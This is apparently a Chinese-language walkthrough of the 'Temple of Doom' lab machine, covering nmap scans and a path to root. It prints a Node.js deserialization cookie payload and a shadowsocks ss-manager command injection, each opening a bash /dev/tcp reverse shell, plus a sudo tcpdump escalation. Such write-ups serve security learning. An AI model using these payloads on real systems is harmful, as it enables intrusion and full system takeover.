15-Temple of Doom

##目标
10.30.13.121
##端口

```
nmap -sS -sU -p- --min-rate 8888 10.30.13.121
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-01 02:35 GMT
Warning: 10.30.13.121 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.30.13.121
Host is up (0.00075s latency).
Not shown: 65533 closed tcp ports (reset), 87 closed udp ports (port-unreach), 65448
open|filtered udp ports (no-response)
PORT    STATE SERVICE
22/tcp  open  ssh
666/tcp open  doom
MAC Address: 08:00:27:65:6A:D6 (Oracle VirtualBox virtual NIC)
```

##服务&系统识别

```
nmap -sV -sC -O -p22,666 10.30.13.121
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-01 02:37 GMT
Nmap scan report for 10.30.13.121
Host is up (0.00042s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 95:68:04:c7:42:03:04:cd:00:4e:36:7e:cd:4f:66:ea (RSA)
|   256 c3:06:5f:7f:17:b6:cb:bc:79:6b:46:46:cc:11:3a:7d (ECDSA)
|_  256 63:0c:28:88:25:d5:48:19:82:bb:bd:72:c6:6c:68:50 (ED25519)
666/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
MAC Address: 08:00:27:65:6A:D6 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
```

```
OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.85 seconds
```

##脚本漏扫
没可用

##立足点

666端口是一个Node.js，搜索到一个js反序列的远程命令执行反弹shell语句

```
#利用
访问666端口并在cookie中带入下面payload：
{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec":
"_$$ND_FUNC$$_require('http').ServerResponse.prototype.end = (function (end) {return
function () {['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup',
'timeout',
''].forEach(this.socket.removeAllListeners.bind(this.socket));console.log('still
inside');const { exec } = require('child_process');exec('bash -i >&
/dev/tcp/10.30.13.70/2233 0>&1');}})(require('http').ServerResponse.prototype.end)"}

将其base64编码后发送获得立足点
[nodeadmin@localhost ~]$ id
id
uid=1001(nodeadmin) gid=1001(nodeadmin) groups=1001(nodeadmin)
[nodeadmin@localhost ~]$ whoami
whoami
nodeadmin
```

第二个用户

```
通过查看/etc/passwd 找到两个能登录的用户
去检索这些用户有无运行什么程序
ps aux |grep root
pa aux | grep fireman

发现：A shadowsocks
fireman运行着 ss-manager程序，搜索出是一个检索shadowsocks 流量管理工具
搜索shadowsocks 两个exp，其中一个可以利用。
可以带入执行一个命令，用它弹shell获取第二个用户的权限
payload如下：
```

```
nc -u 127.0.0.1 8839
    add: {"server_port":8003, "password":"test", "method":"||bash -i >&
/dev/tcp/10.30.13.70/1111 0>&1||"}



user2:
[fireman@localhost root]$ id
id
uid=1002(fireman) gid=1002(fireman) groups=1002(fireman)
[fireman@localhost root]$ whoami
whoami
fireman
```

##system

提权:

```
使用：fireman用户

#sudo提权
sudo -l
下面是下三个文件
User fireman may run the following commands on localhost:
    (ALL) NOPASSWD: /sbin/iptables
    (ALL) NOPASSWD: /usr/bin/nmcli
    (ALL) NOPASSWD: /usr/sbin/tcpdump



#选择tcpdump进行提权
which nc #找到nc
tcpdump提权是可以带入一条命令，使用nc构造的弹shell语句执行后弹shell成功，其他语句弹
shell都无回显
#root
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
```